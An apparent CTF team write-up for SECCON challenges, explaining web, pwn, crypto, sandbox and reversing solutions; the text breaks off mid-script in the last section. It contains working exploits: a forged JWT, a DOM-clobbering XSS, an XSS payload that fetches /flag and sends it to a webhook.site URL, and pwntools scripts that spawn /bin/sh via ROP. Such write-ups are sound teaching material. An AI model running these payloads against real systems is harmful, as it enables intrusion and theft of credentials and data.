# Web ## Bad JWT > _I think this JWT implementation is not bad._ ### Understanding the challenge The structure of this challenge is as follows: ![image](https://i.imgur.com/C7Ag9FC.png) The index file is the one where the application routes live while the jwt one is responsible for generating and verifying our tokens. By analyzing index.js, we notice that the app will never generate a token for us, only verifying if our token is a valid admin one. ![image](https://i.imgur.com/Fst9IPo.png) In the jwt.js file we can see some interesting functions: ![image](https://i.imgur.com/SScZIoJ.png) ### Exploiting the challenge There is one problem with this piece of code, the fact that the algorithm functions are stored as a js object and accessed via property names, not existing any sort of validation for the property name. This is a security concern since not only you can access the sha256 and sha512 properties of the algorithms object, but also other default object properties like \_\_proto\_\_, toString, constructor, etc. This way, if we change our token's "typ" from sha256/sha512 to the value "constructor", we would be loading our object's constructor as the algorithm function, as illustrated here. ![image](https://i.imgur.com/Ba11QUt.png) ![image](https://i.imgur.com/SAn72pu.png) We can test passing 2 arguments to our constructor and we will get the the first argument back as a string: ![image](https://i.imgur.com/pjfXtaF.png) And so, our signature is now simply equal to the data being encoded (as dot separated base64 since it is encoded back by `stringifyPart`). **However**, there is still a catch, being it the fact that both the calculated and provided signatures get base64 decoded and only then compared. This will make it so that any invalid base64 characters are stripped from the signature. If you remember, our signature crafted by calling constructor is a dot-separated base64 string. If we strip invalid characters (namely the dot), that would concatenate the 2 parts and result in just one base64 string. Let's move to crafting our payload: - For the header we need to input `{"typ":"JWT","alg":"constructor"}` - For the data `{"isAdmin":true}` - For the signature `{"typ":"JWT","alg":"constructor"}{"isAdmin":true}` If we proceed to base64 encode these values and concatenate them with dots, we get: ```a eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ.eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ ``` When we use it as our `session` cookie and visit the challenge webpage, we get the flag: ![image](https://i.imgur.com/PFLXiLi.png) ```a SECCON{Map_and_Object.prototype.hasOwnproperty_are_good} ``` ## blink > Popover API is supported from Chrome 114. The awesome API is so useful that you can easily implement <blink>. Its obvious even from the challenge description that this is an XSS challenge. ```javascript= await page.setCookie({ name: "FLAG", value: FLAG, domain: APP_HOST, path: "/", }); await page.goto(url); ``` Focusing on the web server part we can see it just serves a static HTML page along with the challenge JavaScript. First thing we notice is that our payload get processed by the JavaScript file in the _hash_ part of the URL. ```js= const initialHtml = decodeURIComponent(location.hash.slice(1)); if (initialHtml) { $("#html").value = initialHtml; $("#render").click(); } ``` In turn the `$("#render").click();` takes our HTML and calls the `createBlink(html)` function on this input, signifying we should focus on it to find a bug. ```javascript= const sandboxAttribute = [ "allow-downloads", "allow-forms", "allow-modals", "allow-orientation-lock", "allow-pointer-lock", "allow-popups", "allow-popups-to-escape-sandbox", "allow-presentation", "allow-same-origin", // "allow-scripts", // disallow "allow-top-navigation", "allow-top-navigation-by-user-activation", "allow-top-navigation-to-custom-protocols", ].join(" "); const createBlink = async (html) => { const sandbox = wrap( $("#viewer").appendChild(document.createElement("iframe")) ); // I believe it is impossible to escape this iframe sandbox... sandbox.sandbox = sandboxAttribute; sandbox.width = "100%"; sandbox.srcdoc = html; await new Promise((resolve) => (sandbox.onload = resolve)); const target = wrap(sandbox.contentDocument.body); target.popover = "manual"; const id = setInterval(target.togglePopover, 400); return () => { clearInterval(id); sandbox.remove(); }; }; ``` We can see the code creates a _srcdoc iframe_ and injects our HTML in it after setting all possible _sandbox_ attributes apart from script execution which would just allow us gain XSS directly since that frame is same origin. After ignoring the sandbox comment and spending some time to actually escape the sandbox we decided to focus on the rest of the code that runs **after** our injection. In doing so we noticed `setInterval(target.togglePopover, 400)` function call. It's not commonly known but those type of functions can also act as an `eval` when the first argument is a string. Thus being the perfect target to gain code execution on the parent. In order to manipulate though the `togglePopover` property being _evaled_ we should first gain control over the `target` variable. We notice that `target` is nothing more than a proxy to `sandbox.contentDocument.body`. We also know that `contentDocument` is a direct reference to the same HTML _document_ we can inject stuff into. Our exploitation path pretty clear already. The missing link is how to trick the `body` property to return an object we control instead of the actual document body. [DOM-Clobbering](https://portswigger.net/research/dom-clobbering-strikes-back) comes to the rescue. After some trial and error with various HTML elements we find one that perfectly serves our purpose. ```htmlembedded= <iframe name="body" srcdoc="<a id=togglePopover href=lol:alert(1)></a>"> ``` This causes `sandbox.contentDocument.body.togglePopover` to reference our anchor tag, which when casted to string it will return `lol:alert(1)`, valid JavaScript! ![](https://hackmd.io/_uploads/HJALv6S1a.png) ![](https://hackmd.io/_uploads/HJ1iITryT.png) Finally instead of `alert` we can add a `fetch` payload to exfiltrate the flag back to our webhook. ``` FLAG=SECCON{blink_t4g_is_no_l0nger_supported_but_String_ha5_blink_meth0d_y3t} ``` ## SimpleCalc > This is a simplest calculator app. Similarly to the previous challenge the admin token was stored in an admin bot, but with the significant difference this time being that the admin cookie was marked as `httpOnly` meaning we can't simply read it from `document.cookie` and use it to read the flag. ```javascript= const page = await context.newPage(); await page.setCookie({ name: 'token', value: ADMIN_TOKEN, domain: `${APP_HOST}:${APP_PORT}`, httpOnly: true }); await page.goto(url, { timeout: 3 * 1000 }); await sleep(3 * 1000); ``` Instead the flag would be sent back to us if we acquire the admin token and pass a header to the dedicated `/flag` endpoint. ```javascript= app.get('/flag', (req, res) => { if (req.cookies.token !== ADMIN_TOKEN || !req.get('X-FLAG')) { return res.send('No flag for you!'); } return res.send(FLAG); }); ``` The only other important thing the server code enforced was a CSP header, on every request that was successfully handled by _Express_. ```javascript= app.use((req, res, next) => { const js_url = new URL(`http://${req.hostname}:${PORT}/js/index.js`); res.header('Content-Security-Policy', `default-src ${js_url} 'unsafe-eval';`); next(); }); ``` This CSP header allows function calls to `eval` and only allows connections to the constructed `index.js` URL. Everything else was denied. We went deep into the rabbit hole of trying to make _Chrome_ use a crafted `Host:` header but simply at one point decided that was not possible. Focusing now in the client JavaScript the only thing that run every time the page was loaded, was a small JavaScript snippet allowing us essentially free js execution. ```javascript= const params = new URLSearchParams(location.search); const result = eval(params.get('expr')); document.getElementById('result').innerText = result.toString(); ``` Remember though our CSP header and the `/flag` endpoint, we can't possibly connect or request that endpoint while the CSP is active. So what do we do now? It's clear at this point that we can't manipulate the `Host:` header and thus the CSP, nor can we leak the admin token to an attacker page as that would be a pretty critical _Chrome_ bug. Essentially CSP is what prevents us from accessing the flag, we need to find a way to disable it. A pretty common technique in these cases is to find a page returned by the server, which contains another or no CSP. Error pages are ideal candidates for such a condition. See for example the 404 page. ![](https://hackmd.io/_uploads/r14tBzUyT.png) Even though the CSP has changed it's still no use to us as it's even stricter than the one before. We need something better. After some trial and error we find such page! Basically sending a very big request line _Node_ rejects the request and returns 431 without ever continuing to process the request in _Express_. ![](https://hackmd.io/_uploads/Bka3UMUyT.png) One might think, ok great but how can you use that page to execute JavaScript? The answer is our beloved _iframes_! The exploitation path is as follows: 1) Having JavaScript execution in the parent, create an iframe. 2) Set the iframe source as `http://localhost:3000/js/index.js?${"A".repeat(20_000)}=a` 3) Iframe loads empty page since server returned an error, without CSP. 4) Since both frames are same origin from the parent we can access the child iframe and execute JavaScript inside it! 5) Execute `fetch("/flag")` and send it to our server. Our payload then becomes: ```javascript=! f=document.createElement("iframe");f.src=`http://localhost:3000/js/index.js?${"A".repeat(20_000)}=a`;f.onload=()=>{frames[0].eval(`fetch("/flag",{headers:{"X-Flag":1}}).then(r=>r.text()).then(r=>top.location="https://webhook.site/6885939e-4f6a-4f99-a160-ee1c2a7ccc56/?x="+r)`)};document.body.appendChild(f); ``` Success! (_unintended indeed_) ``` SECCON{service_worker_is_powerfull_49a3b7bf6d2ae18d} ``` # Pwn ## rop-2.35 ```c= #include <stdio.h> #include <stdlib.h> void main() { char buf[0x10]; system("echo Enter something:"); gets(buf); } ``` There is an obvius stack overflow. ### Exploitation The gadgets in the binary are limited, we can use the return value (rax) of `gets` which is `buf` and this gadget: ```c .text:0000000000401169 mov rdi, rax .text:000000000040116C call _system ``` to set rdi to `buf` in which we can write `/bin/sh` we need also to pad our chain with 2 ret to align the stack otherwise system will crash due to `movaps`. ```python= #!/bin/env python3 from pwn import * elf = context.binary = ELF("./chall") context.arch = 'amd64' context.terminal = ['tmux','splitw','-h'] io = None convert = lambda x :x if type(x)==bytes else str(x).encode() s = lambda data :io.send(convert(data)) sl = lambda data :io.sendline(convert(data)) sla = lambda delim,data :io.sendlineafter(convert(delim), convert(data), timeout=context.timeout) ru = lambda delims, drop=True :io.recvuntil(delims, drop, timeout=context.timeout) r = lambda n :io.recv(n) rl = lambda :io.recvline() HOST, PORT = '10.10.10.10', 1337 gdbscript = ''' set follow-fork-mode parent br *main+46 br *main+39 c ''' def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gdbscript) if args.REMOTE: return remote(HOST, PORT) else: return process(elf.path) io = start() ret = 0x40101a mov_rdi_rax = 0x401169 payload = b"/bin/sh\x00" * 3 + p64(ret)*2 + p64(mov_rdi_rax) sl(payload) io.interactive() ``` ## selfcet ### Code Review ```c= #define KEY_SIZE 0x20 typedef struct { char key[KEY_SIZE]; char buf[KEY_SIZE]; const char *error; int status; void (*throw)(int, const char*, ...); } ctx_t; int main() { ctx_t ctx = { .error = NULL, .status = 0, .throw = err }; read_member(&ctx, offsetof(ctx_t, key), sizeof(ctx)); read_member(&ctx, offsetof(ctx_t, buf), sizeof(ctx)); encrypt(&ctx); write(STDOUT_FILENO, ctx.buf, KEY_SIZE); return 0; ``` main instantiates a ctx_t variable and sets its `throw` member to `glibc` function err and then calls 2 times read_member on it with different offsets and size 88 (sizeof(ctx)) ```c= #define INSN_ENDBR64 (0xF30F1EFA) /* endbr64 */ #define CFI(f) \ ({ \ if (__builtin_bswap32(*(uint32_t*)(f)) != INSN_ENDBR64) \ __builtin_trap(); \ (f); \ }) ... void read_member(ctx_t *ctx, off_t offset, size_t size) { if (read(STDIN_FILENO, (void*)ctx + offset, size) <= 0) { ctx->status = EXIT_FAILURE; ctx->error = "I/O Error"; } ctx->buf[strcspn(ctx->buf, "\n")] = '\0'; if (ctx->status != 0) CFI(ctx->throw)(ctx->status, ctx->error); } ``` read_member calls read on a specific offset of the provided ctx with the given size (88) then if `ctx->status` it not zero it passes `ctx->throw`, which is a function pointer, to CFI and then calls it with `ctx->status: int` and `ctx->error: char*` CFI fetches the first dword of where `ctx->throw` points to and compares it with `INSN_ENDBR64`. If the first dword is not equal to `INSN_ENDBR64` it calls the GCC builtn function `__builtin_trap()` which according to gcc docs: > This function causes the program to exit abnormally. GCC implements this function by using a target-dependent mechanism (such as intentionally executing an illegal instruction) or by calling abort. The mechanism used may vary from release to release so you should not rely on any particular implementation. in any other case it returns `f`. In essence, the CFI macro checks if the address where `f` points to stores an `ENDBR64` instruction. ```c= void encrypt(ctx_t *ctx) { for (size_t i = 0; i < KEY_SIZE; i++) ctx->buf[i] ^= ctx->key[i]; } ``` encrypt just preforms a xor operation between `ctx->key` and `ctx->buf` ### The Bug `main()` calls 2 times read_member on `ctx->buf` and `ctx->key` respectively. Each time the third argument (size) is `sizeof(ctx)` which evaluates to 88 meaning that `read_member()` will call `read(0, ctx->buf/key, 88)` leading to a buffer overflow allowing us to corrupt the `ctx` struct and, thus the `throw` member. ### Mitigations ```css= [*] 'xor' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3fe000) ``` PIE is not enabled meaning that we know where the binary is loaded in memory. ### Libc leak We can use the overflow to point `throw` anywhere we want, but we need to take into consideration 1) that it takes as arguments `(int status, char* error)`. 2) that `throw` is already populated with the libc function `err`. 3) that `throw` must point to the start of a libc function because of `CFI` a great candidate is `void warn(const char *fmt);` because it resides at `-0x1c0` from err > The warn() family of functions display a formatted error message on the standard error output. In all cases, the last component of the program name, a colon character, and a space are output. **If the fmt argument is not NULL, the printf(3)-like formatted error message is output.** The output is terminated by a newline character. so, by providing a `GOT` entry to warn as the first argument we can leak it. To achieve that we need to preform a partial overwrite on throw using our buffer overflow. ```python= io = start() got_libc_start_main = 0x403fc8 s(b"A"*64 + p64(0) + p64(got_libc_start_main) + p16(0x4010)) ru(b"xor: ") leak = u64(r(6).ljust(8, b"\x00")) libc.address = leak - libc.sym.__libc_start_main log.info(f"libc @ {hex(libc.address)}") ``` With that snippet we send to the first `read_member`: 64 A's filling the buf and key buffer then (qword) 0 for `char* error`, the address of the GOT entry `__libc_start_main` for status as it will be the first argument to `warn` and at the end 2 bytes to preform partial overwrite on `throw` member in order to point to `warn`. _The partial overwrite is subject to ASLR meaning that it might not work each time._ ### system(/bin/sh) Now that we have a libc leak we could try to use the 2nd `read_member` call to overwrite `throw` with `system`, the problem here is that the first arg to `throw` is `int` meaning that the larget value we can store in it is `0x7fffffff`. Thus, if we tried to call system(`/bin/sh`) the address of `/bin/sh` would get truncated (as it resides in glibc). ### Writing /bin/sh to .bss We could overcome this problem by writing `/bin/sh` to `.bss` because an `address` in .bss fits to an int. But, there is only one call to `read_member` remaining meaning that even if we write `/bin/sh` into .bss there isn't a way to call system with it afterwards. What we had to do is find a way to restart the program by calling main again. `main()` doesn't start with an `endbr64` instruction, so we need to find a gadget, probably in `glibc`, to call it. After some searching and some binja fu we found a libc function `xdr_free` so we used that to call main again. ![](https://hackmd.io/_uploads/rkD2H1U1p.png) Now that we have another 2 `read_member` calls we can call `gets({address_in_bss})` to store `/bin/sh` into `.bss` and `system({address_in_bss})`. ### Exploit ```python= #!/bin/env python3 from pwn import * elf = context.binary = ELF("./xor", checksec=False) libc = ELF("./libc.so.6", checksec=False) context.arch = 'amd64' context.terminal = ['tmux','splitw','-h'] io = None gdbscript = ''' break *main+71 br *main+93 b *read_member+185 c ''' convert = lambda x :x if type(x)==bytes else str(x).encode() s = lambda data :io.send(convert(data)) sl = lambda data :io.sendline(convert(data)) sla = lambda delim,data :io.sendlineafter(convert(delim), convert(data), timeout=context.timeout) ru = lambda delims, drop=True :io.recvuntil(delims, drop, timeout=context.timeout) r = lambda n :io.recv(n) rl = lambda :io.recvline() HOST, PORT = 'selfcet.seccon.games', 9999 def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gdbscript) if args.REMOTE: return remote(HOST, PORT) else: return process(elf.path) io = start() got_libc_start_main = 0x403fc8 s(b"A"*64 + p64(0) + p64(got_libc_start_main) + p16(0xd010)) ru(b"xor: ") leak = u64(r(6).ljust(8, b"\x00")) libc.address = leak - libc.sym.__libc_start_main log.info(f"libc @ {hex(libc.address)}") s(b"B"*0x28 + p64(elf.sym.main) + p64(libc.sym.xdr_free)) print("gets") pause() s(b"A"*0x48 + p64(elf.bss(0x100)) + p64(libc.sym.gets)) print("/bin/sh") pause() sl(b"/bin/sh\x00") print("system") pause() s(b"B"*0x28 + p64(elf.bss(0x100)) + p64(libc.sym.system)) io.interactive() ``` # Crypto ## Increasing Entropoid This challenge is quite similar to a challenge from the recent HXP CTF, where Panny had us break Sequoa. He describes the general attack idea here: https://eprint.iacr.org/2021/583.pdf). Panny shows a reduction to the finite field logarithm, for which quite effective means exists. However, in the challenge we first get a bunch of debug DHKEs with very small parameters. But the final key exchange that is used to encrypt the flag is done using a 2048-bit prime, which is too big calculate the discrete logarithm for. When we take a look at how private keys are generated, we notice that the challenges uses the notorious insecure default randrange from python. ```python= def random_power_index(self, base: int) -> EntropoidPowerIndex: size = ceil(log(self.p) / log(base)) a_num = Integer(randrange(1, self.p)) a = a_num.digits(base, padto=size) pattern_num = Integer(randrange(0, (base - 1) ** size - 1)) pattern = pattern_num.digits(base - 1, padto=size) return EntropoidPowerIndex(a=a, pattern=pattern, base=base) ``` If we can get enough output from the Mersenne Twister generator, we can predict the private key for the final key exchange. Entropoid operations are non-associative, therefore for exponentiation we also need a pattern that defines the order in which the operations take place. However, this pattern is not necessarily unique. Luckily we get enough debug DHKEs so we only need to obtain `a_num`. The benefit of a symbolic solver (like https://github.com/icemonster/symbolic_mersenne_cracker/blob/main/main.py) is that it can tolerate incomplete or missing output bits. First we need recover `a_num` for each debug public key. We add the two homomorphism from the paper: ```python= def sigma(self): e = self.entropoid return self.entropoid(e.c0 * self.x2 + e.c1, e.d0 * self.x1 + e.d1) def iotta(self): e = self.entropoid return (e.b7 * self.x1 + (e.a3 * e.b7) / e.a8, e.a8 * self.x2 + (e.a8 * e.b2) / e.b7) ``` and do a simple logarithm over $\mathbb{F}_p$: ```python= params_debug = EntropoidParams( p=18446744073709550147, a3=1, a8=3, b2=3, b7=7, ) E = Entropoid(params_debug) g = E(13, 37) def recover_i_plus_j(g, h): g1, _ = (g * g).iotta() h1, _ = (h * h).iotta() return h1.log(g1) a_list = [recover_i_plus_j(g, E(*pub)) for pub in public_keys] ``` Feeding the output into the symbolic Mersenne Twister solver: ```python= ut = Untwister() for i in range(0, 256): alice_num, bob_num = a_list[i*2:(i+1)*2] # randrange starts at 1 alice_num -= 1 o1 = alice_num % 2**32 o2 = alice_num >> 32 ut.submit("{:032b}".format(o1)) ut.submit("{:032b}".format(o2)) # account for missing pattern ut.submit("?"*32) ut.submit("?"*32) bob_num -= 1 o1 = bob_num % 2**32 o2 = bob_num >> 32 ut.submit("{:032b}".format(o1)) ut.submit("{:032b}".format(o2)) # account for missing pattern, notice that we need 3 outputs here ut.submit("?"*32) ut.submit("?"*32) ut.submit("?"*32) r2 = ut.get_random() ``` Now we can predict Alice and Bobs private keys: ```python alice_num = 27156911501094451998456105552189942749910298424380922213581063063192724134552979118125837103651745026611199598093720993258765644076186878925631877221878643332826901489201689587688242757917019431339029912661974115400446242429164128279622055245642145912845615626880344257278312790368077669068318349998160069507841107092306831480200213450345623062616494520912872022186595466831875895948567135774502601858163017215979075071743311019040322445730680282262739938917917609201912888209696429345572054477975759324042456661443772532385526176564607883482576214979735555229015645594948180240728728339161570200119527401240917778056 alice_pattern = 7532801011212829444152911165726283684632303818912963002460372412455175074727837715810475873301462640449625305503763750240019278592758756286506373108073370281336126047442348687110424176909483544319271562118457541606806845106189164689188402619143455045582830545416153985568324009054500147681614601453734049805733178454526290550638530514045741236312686620584075922725033830979772650165298758508806161313197482098182721306624585536392660737298877480507662427332130587002352455958432920581479879029923172511889691263956260805186101674191656143642986626242750924223971208293753318028347076893249148148540452115 bob_num = 19954455166295308008867968843936627094897219740394324490549685209573456122912867591911484758505458765563759028471246295174571948223622795181681454099014425203224676321866217483776409781627818374254518029793541196809591985061978361100611459554617838929511678523058295479645621197267835125231879021876998817905601602711115006898910048412284315332430453553537852648298715944064891907711536738823942966946781178188945115875232166200467858245476854399913011377072092226288146570280110702031030707622082930273032659853959218356055283324634957154904905380481576787349519523033189851202776224503893862960851384608961722662725 bob_pattern = 82180990971303860115727828522882492525102636860203873888809169329360033397273612798204107147057351121620882976393669475409906327397857440189866909279680345263658484134872656095983272866914341733420819565258859466043884860580350537473367905163999285070860313059854798967011327246050369346340257411666847774604733572741613089517230467089308676583437543157283976698715659310113159629461027935976736577508157940379131799185859885637281545449153822614236137316498067738483128363132720882880202081608031550671987954316466880047251879432684611967908609121944932387562172736414699330859095425761113173269531493389171874 ``` And decrypt the flag: `SECCON{The law of entropoid increase postulates the existence of irreversible processes in crypto: the bit numbers of a safe cryptosystem based on DELP can increase, but cannot decrease.}` ## plai_n_rsa We were given a python script: ```python= import os from Crypto.Util.number import bytes_to_long, getPrime flag = os.getenvb(b"FLAG", b"SECCON{THIS_IS_FAKE}") assert flag.startswith(b"SECCON{") m = bytes_to_long(flag) e = 0x10001 p = getPrime(1024) q = getPrime(1024) n = p * q e = 65537 phi = (p-1)*(q-1) d = pow(e, -1, phi) hint = p+q c = pow(m,e,n) print(f"e={e}") print(f"d={d}") print(f"hint={hint}") print(f"c={c}") ``` After running it, this is the output we get: ```python e=65537 d=15353693384417089838724462548624665131984541847837698089157240133474013117762978616666693401860905655963327632448623455383380954863892476195097282728814827543900228088193570410336161860174277615946002137912428944732371746227020712674976297289176836843640091584337495338101474604288961147324379580088173382908779460843227208627086880126290639711592345543346940221730622306467346257744243136122427524303881976859137700891744052274657401050973668524557242083584193692826433940069148960314888969312277717419260452255851900683129483765765679159138030020213831221144899328188412603141096814132194067023700444075607645059793 hint=275283221549738046345918168846641811313380618998221352140350570432714307281165805636851656302966169945585002477544100664479545771828799856955454062819317543203364336967894150765237798162853443692451109345096413650403488959887587524671632723079836454946011490118632739774018505384238035279207770245283729785148 c=8886475661097818039066941589615421186081120873494216719709365309402150643930242604194319283606485508450705024002429584410440203415990175581398430415621156767275792997271367757163480361466096219943197979148150607711332505026324163525477415452796059295609690271141521528116799770835194738989305897474856228866459232100638048610347607923061496926398910241473920007677045790186229028825033878826280815810993961703594770572708574523213733640930273501406675234173813473008872562157659306181281292203417508382016007143058555525203094236927290804729068748715105735023514403359232769760857994195163746288848235503985114734813 ``` Since `d = pow(e, -1, phi)`, we can rewrite it as `d * e = k * phi + 1` or `phi = (d*e - 1)/k` with _0 < k <= e_. From here, we can iterate through every value of k from 1 to e to retrieve the value of `phi`. With value of `phi` and `hint`, we can easily get the value of `n`. ### Exploit ```python= #!/usr/bin/env python from Crypto.Util.number import * e=65537 d=15353693384417089838724462548624665131984541847837698089157240133474013117762978616666693401860905655963327632448623455383380954863892476195097282728814827543900228088193570410336161860174277615946002137912428944732371746227020712674976297289176836843640091584337495338101474604288961147324379580088173382908779460843227208627086880126290639711592345543346940221730622306467346257744243136122427524303881976859137700891744052274657401050973668524557242083584193692826433940069148960314888969312277717419260452255851900683129483765765679159138030020213831221144899328188412603141096814132194067023700444075607645059793 hint=275283221549738046345918168846641811313380618998221352140350570432714307281165805636851656302966169945585002477544100664479545771828799856955454062819317543203364336967894150765237798162853443692451109345096413650403488959887587524671632723079836454946011490118632739774018505384238035279207770245283729785148 c=8886475661097818039066941589615421186081120873494216719709365309402150643930242604194319283606485508450705024002429584410440203415990175581398430415621156767275792997271367757163480361466096219943197979148150607711332505026324163525477415452796059295609690271141521528116799770835194738989305897474856228866459232100638048610347607923061496926398910241473920007677045790186229028825033878826280815810993961703594770572708574523213733640930273501406675234173813473008872562157659306181281292203417508382016007143058555525203094236927290804729068748715105735023514403359232769760857994195163746288848235503985114734813 m = d * e for k in range(1, e): if (m - 1) % k != 0: continue phi = (m - 1) // k n = phi + hint - 1 decrypt_cipher = long_to_bytes(pow(c, d, n)) if b"SECCON{" in decrypt_cipher: print("Got flag: " + decrypt_cipher.decode()) ``` Flag: `SECCON{thank_you_for_finding_my_n!!!_GOOD_LUCK_IN_SECCON_CTF}` ## RSA 4.0 The ratio betwen the i, j, and k components of the quaternion does not change under exponentiation. Therefore we get a linear system that we can solve. ```python= R = Zmod(n) _, b, c, d = enc K1 = b / c K2 = b / d K3 = c / d C = matrix(R, [ [3 - 3*K1, 1 - 13*K1, 337 - 37*K1], [3 - 7*K2, 1 - 133*K2, 337 - 7*K2], [3 - 7*K3, 13 - 133*K3, 37 - 7*K3], ]) M = matrix(QQ, 6) K = 2**4096 for i in range(3): M[i,i] = 1 / K M[i+3,i+3] = n M[i,3] = ZZ(C[0, i]) M[i,4] = ZZ(C[1, i]) M[i,5] = ZZ(C[2, i]) for row in M.LLL(): m, p, q = [row[i] * K for i in range(3)] if p * q == n: print(long_to_bytes(int(-m))) ``` This yields: `SECCON{pr0m153_m3!d0_n07_3ncryp7_p_0r_q_3v3n_w17h_r54_4.0}` # Sandbox ## crabox Description: > 🦀 Compile-Time Sandbox Escape 🦀 > >author: Ark #### Challenge Here is the source of the challenge: ```python= import sys import re import os import subprocess import tempfile FLAG = os.environ["FLAG"] assert re.fullmatch(r"SECCON{[_a-z0-9]+}", FLAG) os.environ.pop("FLAG") TEMPLATE = """ fn main() { {{YOUR_PROGRAM}} /* Steal me: {{FLAG}} */ } """.strip() print(""" 🦀 Compile-Time Sandbox Escape 🦀 Input your program (the last line must start with __EOF__): """.strip(), flush=True) program = "" while True: line = sys.stdin.readline() if line.startswith("__EOF__"): break program += line if len(program) > 512: print("Your program is too long. Bye👋".strip()) exit(1) source = TEMPLATE.replace("{{FLAG}}", FLAG).replace("{{YOUR_PROGRAM}}", program) with tempfile.NamedTemporaryFile(suffix=".rs") as file: file.write(source.encode()) file.flush() try: proc = subprocess.run( ["rustc", file.name], cwd="/tmp", stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=2, ) print(":)" if proc.returncode == 0 else ":(") except subprocess.TimeoutExpired: print("timeout") ``` We're provided with the service that can compile a given small Rust program. The flag is inserted as comment after our payload, and no compiler stdout/stderr is available. ### Idea To exfiltrate flag, we can abuse a couple of Rust macros: - `file!()` - get the current file name - `include_bytes!(path)` - include file contents as bytes at compile time We can define a variable of type `[u32; 1]` and initialize it with `[0; cond as usize]`. If `cond` is evaluated to true, it will succeed, otherwise an error about array size mismatch would be thrown. ### Solution To minimize the number of requests, we're going to use binary search algorithm for each char. This way, it will only cost ~8 requests per char, instead of brute forcing the entire alphabet. ```python=! from pwn import * def try_letter(pos, val): with remote('crabox.seccon.games', 1337, level='warn') as r: exploit = f'''let _: [u32; 1] = [0; (include_bytes!(file!())[{pos:4}] > 0x{val:02x}) as usize];''' r.recvuntil(b'Input your program (the last line must start with __EOF__):\n') r.sendline(exploit.encode()) r.sendline(b'__EOF__') return b':)' in r.recvall() flag_start = 107 flag = 'SECCON{' while not flag.endswith('}'): low, high = 32, 125 while low < high: mid = (high + low) // 2 print('trying', flag + chr(mid)) if try_letter(flag_start + len(flag), mid): low = mid + 1 else: high = mid flag += chr(low) print(flag) ``` And some requests later, the whole flag is spit out. `SECCON{ctfe_i5_p0w3rful}` # Rev ## jumpout Challenge handout: - jumpout: ELF 64-bit LSB pie executable, x86-64, stripped `jumpout` is a flag checker. The flag to be checked has to be provided on stdin. Analysis of the binary in ghidra reveals that the flow of execution is broken up by several indirect jumps which do not depend on the input. I executed the binary in a debugger to observe the control flow. If the input is 29 bytes long, the following code is run: ![](https://hackmd.io/_uploads/rJG1xc4yT.png) When this code runs: - Register `R12` contains a pointer to the input. - Register `R13` points to some static data in the binary As you can see, `check_byte` will be called for each input byte, taking the current loop index, stored in `RBX`, and the input byte at that index as arguments. It's return value is then compared against the respective byte in the array found at `R13`. If all comparison succeed the program recognizes the input as correct. `check_byte` itself decompiles to: ![](https://hackmd.io/_uploads/H1_X1qEk6.png) Only the `input_byte` for a given `input_idx` is unknown, so the operations for checking a particular input byte are easily reversed to yield the flag: ```python R13 = [246, 245, 49, 200, 129, 21, 20, 104, 246, 53, 229, 62, 130, 9, 202, 241, 138, 169, 223, 223, 51, 42, 109, 129, 245, 166, 133, 223, 23, 0] DAT_00104010 = [240, 228, 37, 221, 159, 11, 60, 80, 222, 4, 202, 63, 175, 48, 243, 199, 170, 178, 253, 239, 23, 24, 87, 180, 208, 143, 184, 244, 35, 0] flag = [] for i, byte in enumerate(R13): flag.append(byte ^ 0x55 ^ i ^ DAT_00104010[i]) print(bytes(flag)) ``` This recovers the flag `SECCON{jump_table_everywhere}` ## Optinimize We're given a x86_64 Linux binary, which starts printing the flag, but gradually slows down into waiting forever. As the name suggests, we likely need to optimize it into doing it faster. ### Initial analysis Throwing it into Ghidra immediately reveals `NimMainModule` called from `main`, which suggest it is written in `Nim` language. This is also hinted by the challenge name. Ghidra doesn't support Nim's name demangling, so we can see a bunch of function names like `division__OOZOOZOOZOOZOnimbleZpkgs50Zbigints4549O48O4845505251524853aea53fa50f56575157aff5757d49c49515252ebce4954a56e54Zbigints_u1603` here and there. This both gives us the idea that we're dealing with some big integer arithmetic, and requires to learn calling convention and struct layout for bigints, while renaming those functions to something adequate. ### bigint type and calling convention Luckiy, Nim is open-source, so we can find `bigint` type [here](https://github.com/nim-lang/bigints/blob/master/src/bigints.nim#L8): ```nim= type BigInt* = object ## An arbitrary precision integer. # Invariants for `a: BigInt`: # * if `a` is non-zero: `a.limbs[a.limbs.high] != 0` # * if `a` is zero: `a.limbs.len <= 1` limbs: seq[uint32] isNegative: bool ``` It inherits from `object` (so we're expecting some kind of preamble), then goes usual limbs array and sign flag: ![](https://hackmd.io/_uploads/B1CnIeB1T.png) Browsing some functions like bigint addition, we learn that result (mutable value) is passed as pointer in `rdi` register, while input bigint arguments are passed by value on stack. That way, we can assign proper function prototypes. ### main Throwing away some junk assignments, `main` code is like this: {%gist deltaclock/31e294867f968ab00b2dbf4db28810d0%} So, for each iteration, it takes a number from `ns__main_u18`, constructs a bigint with its value, calls `Q__main_u13`, takes the result modulo 256, converts it to an integer, xors `cs__main_u19[i]` with it and prints result character. Obviously, `Q__main_u13` is the main culprit of slowing down, so we need to look into it. ### Q__main_u13 {%gist deltaclock/bbc3bb8b44790bbfcab45c7701dbcc0d%} Equivalent python code: ```python= def Q__main_u13(n): i, accum = 0, 0 while i < n: accum += 1 p = P__main_u4(accum) if p % accum == 0: i += 1 return accum ``` ### P__main_u4 {%gist deltaclock/463897eb8fa93d4a68f95d56c4bb0503%} And equivalent python code would be: ```python= def P__main_u4(x): a, b, c = 3, 0, 2 if x == 0: return a if x == 1: return b while x > 2: a, b, c = b, c, a + b x -= 1 return c ``` ### Solving Now that we know what functions do, let's try to understand what' going on. Generating several few elements of `P__main_u4` gives us sequence `3, 0, 2, 3, 2, 5, 5, 7, 10, 12, 17, 22, 29, 39, ...`. Quick googling shows that it is the [Perrin sequnce](https://en.wikipedia.org/wiki/Perrin_number). It has a property that `n|p(n)` for all primes. We can see that it is exacly what `Q__main_u13` is checking, so can conclude that it returns `n`-th Perrin prime. But need to note that this test includes some [pseudoprimes](https://oeis.org/A013998) too, so we need to account for those. Here is the solver script: ```python= import gmpy2 ns = [ 74, 85, 111, 121, 128, 149, 174, 191, 199, 213, 774, 6856, 9402, 15616, 17153, 22054, 27353, 28931, 36891, 40451, 1990582, 2553700, 3194270, 4224632, 5969723, 7332785, 